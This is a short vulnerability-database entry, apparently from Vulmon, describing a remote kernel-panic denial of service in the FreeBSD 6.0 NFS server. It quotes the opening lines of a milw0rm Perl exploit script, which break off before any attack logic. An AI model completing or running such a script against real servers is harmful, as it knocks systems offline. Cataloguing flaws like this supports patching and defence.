nfsd in FreeBSD 6.0 kernel allows remote malicious users to cause a denial of service via a crafted NFS mount request, as demonstrated by the ProtoVer NFS test suite.
#!/usr/bin/perl
## Saw an advisory on Dailydave and wrote a little script to
## check my freebsd boxes (kind of evil) /str0ke (milw0rmcom)
##
## ProtoVer NFS testsuite 10 uncovered remote kernel panic vulnerability in FreeBSD 60 kernel
## Evgeny Legerov
## wwwglegnet
use IO::Socket;
sub usage
{
print "FreeBSD 60 (nfsd) Remote Kernel P ...
Vulmon